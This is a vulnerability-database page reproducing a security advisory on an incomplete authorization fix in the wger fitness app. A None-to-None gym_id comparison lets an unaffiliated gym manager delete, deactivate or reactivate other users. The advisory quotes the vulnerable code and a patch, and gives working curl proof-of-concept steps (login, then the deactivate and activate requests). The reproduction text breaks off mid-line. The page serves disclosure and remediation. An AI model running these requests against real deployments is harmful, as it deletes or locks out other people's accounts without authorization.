Skip to content
Fencer Intel
high 8.5

GHSA-mw8f-w6p8-xrf4 json

wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None

published 5mo ago modified 5mo ago

cvss
8.5
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## Summary

GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's `reset_user_password` and `gym_permissions_user_edit` views in `wger/gym/views/user.py` performed a gym-scope authorization check using Django ORM object comparison (`if request.user.userprofile.gym != user.userprofile.gym`) which silently passes when both sides are `None` (`None != None` evaluates to `False`). The maintainer's suggested patch ("Apply the same `same_gym()` helper pattern to all five views sharing this check") replaces every `userprofile.gym !=` site with the new `is_same_gym()` helper that explicitly excludes `None` (`gym_a is not None and gym_a == gym_b`).

The fix landed in `wger/gym/views/{admin_notes,document,contract,gym}.py` (5 views, all using `is_same_gym`). However, **three additional views in `wger/core/views/user.py` were not migrated** and retain the original `userprofile.gym_id != ...` raw integer comparison. Because raw integer `!=` comparison still evaluates `None != None` as `False`, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest `wger/server:latest` Docker image (master, 2026-05-08 build).

A privileged-but-bounded gym staff user (admin-granted `gym.manage_gym` permission, intended scope: managing members of one specific gym) whose `userprofile.gym = None` (the default state before the admin links them to a gym) can:

1. **Permanently delete any other user with `gym = None`** (V3, `delete` view, line 131 — CRITICAL data loss, irreversible) 2. **Deactivate any other user with `gym = None`**, locking them out of the platform (V1, `UserDeactivateView`, line 405 — high availability impact) 3. **Re-activate any previously deactivated user with `gym = None`** (V2, `UserActivateView`, line 442 — counters defensive deactivation)

Victim user pks are sequential integers and trivially enumerable via `/en/user/<pk>/overview` and other endpoints. The `same_gym_id == ...` flag in `UserDetailView.get_context_data` (line 587) is also affected, but the underlying `dispatch()` and the actual `trainer_login` view still use the patched `is_same_gym()` helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.

## Affected versions

- All wger versions through master at `wger/server:latest` (digest `sha256:5d8fe1ba66cc...`, image build 2026-05-08). - The advisory's `affected: <0.9.7 → fixed: 0.9.7` range applies to the **PyPI `aegra-api` package** (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to `wger/gym/views/{admin_notes,document,contract,gym}.py`; `wger/core/views/user.py` was not touched in the same patch.

(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)

## Vulnerable code

### V1 — `UserDeactivateView` (`wger/core/views/user.py`, line 405)

```python class UserDeactivateView(...): permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

if not request.user.is_authenticated: return HttpResponseForbidden()

if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: None != None == False return HttpResponseForbidden()

return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)

def get_redirect_url(self, pk): edit_user = get_object_or_404(User, pk=pk) edit_user.is_active = False # ← side effect on plain GET edit_user.save() ... ```

### V2 — `UserActivateView` (`wger/core/views/user.py`, line 442)

```python class UserActivateView(...): permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: same pattern return HttpResponseForbidden()

return super(UserActivateView, self).dispatch(request, *args, **kwargs)

def get_redirect_url(self, pk): edit_user = get_object_or_404(User, pk=pk) edit_user.is_active = True # ← side effect on plain GET edit_user.save() ... ```

### V3 — `delete` (`wger/core/views/user.py`, line 116-159)

```python @login_required() def delete(request, user_pk=None): ... if user_pk: user = get_object_or_404(User, pk=user_pk)

if not request.user.has_perm('gym.manage_gyms') and ( not request.user.has_perm('gym.manage_gym') or request.user.userprofile.gym_id != user.userprofile.gym_id # ← BUG (line 131) or user.has_perm('gym.manage_gym') or user.has_perm('gym.gym_trainer') or user.has_perm('gym.manage_gyms') ): return HttpResponseForbidden() ...

if request.method == 'POST': form = PasswordConfirmationForm(data=request.POST, user=request.user) if form.is_valid(): user.delete() # ← victim account permanently deleted (line 145) ... gym_pk = request.user.userprofile.gym_id # = None for trainer1 return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk})) # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker # but user.delete() already executed — victim is gone ```

**Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed.** The 500 is a redirect-side `NoReverseMatch` exception caused by `reverse('gym:gym:user-list', kwargs={'pk': None})` (line 154-155) attempting to build a URL with `pk=None` because trainer1 also has `gym=None`. By that point Django has already committed `user.delete()` (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: `alice exists? False`, `all users: ['admin', 'trainer1']`. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.

## Suggested patch

Same as the advisory's recommendation — replace every `userprofile.gym_id != ...` raw comparison with `is_same_gym()` from `wger/gym/helpers.py`:

```diff --- a/wger/core/views/user.py +++ b/wger/core/views/user.py @login_required() def delete(request, user_pk=None): ... - if not request.user.has_perm('gym.manage_gyms') and ( - not request.user.has_perm('gym.manage_gym') - or request.user.userprofile.gym_id != user.userprofile.gym_id - or user.has_perm('gym.manage_gym') - or user.has_perm('gym.gym_trainer') - or user.has_perm('gym.manage_gyms') - ): + if not request.user.has_perm('gym.manage_gyms') and ( + not request.user.has_perm('gym.manage_gym') + or not is_same_gym(request.user, user) + or user.has_perm('gym.manage_gym') + or user.has_perm('gym.gym_trainer') + or user.has_perm('gym.manage_gyms') + ): return HttpResponseForbidden()

class UserDeactivateView(...): def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... - if ( - request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') - ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: + if ( + request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') + ) and not is_same_gym(request.user, edit_user): return HttpResponseForbidden()

class UserActivateView(...): def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... - if ( - request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') - ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: + if ( + request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') + ) and not is_same_gym(request.user, edit_user): return HttpResponseForbidden() ```

`is_same_gym()` (current implementation at `wger/gym/helpers.py`) already returns `False` whenever either side is `None`, matching the advisory's existing fix pattern.

Additionally, `delete()` line 154-155 should handle the `gym_pk = None` case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (`gym.manage_gyms`) acting on `gym=None` users.

## Reproduction

### Setup (clean baseline)

```bash # Pull and start the latest production image docker pull wger/server:latest # digest sha256:5d8fe1ba66cc..., 2026-05-08 build docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest

# Wait ~30s for migrations and demo-data fixture load.

# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm). docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User, Permission

# Attacker — gym manager with no gym affiliation t = User.objects.create_user(username='trainer1', password='TrainerPass123!') t.userprofile.gym = None t.userprofile.save() t.user_permissions.add(Permission.objects.get(codename='manage_gym')) t.save()

# Victim — regular user, no gym a = User.objects.create_user(username='alice', password='AlicePass123!') a.userprofile.gym = None a.userprofile.save()

print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym')) print("alice.gym_id =", a.userprofile.gym_id, "pk =", a.pk) PY # Expected: # trainer1.gym_id = None has_perm = True # alice.gym_id = None pk = 3 ```

### Variant V1 — cross-tenant deactivation (`UserDeactivateView`, line 405)

```bash # Login as attacker COOKIES=/tmp/wger_trainer1.txt CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3) curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \ -d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \ -H "Referer: http://localhost:8888/en/user/login" -o /dev/null

# Trigger deactivation on alice (pk=3) curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \ "http://localhost:8888/en/user/3/deactivate" # → status=302 loc=/en/user/3/overview (expected: 403 Forbidden)

# Confirm DB side effect docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User print("alice.is_active =", User.objects.get(username='alice').is_active) PY # → alice.is_active = False (alice locked out) ```

### Variant V2 — cross-tenant re-activation (`UserActivateView`, line 442)

```bash # Same trainer1 session curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \ "http://localhost:8888/en/user/3/activate" # → status=302 loc=/en/user/3/overview

docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from djang…

Is GHSA-mw8f-w6p8-xrf4 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
pypi wger
<=2.5
no fix listed

Classification

Weakness

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.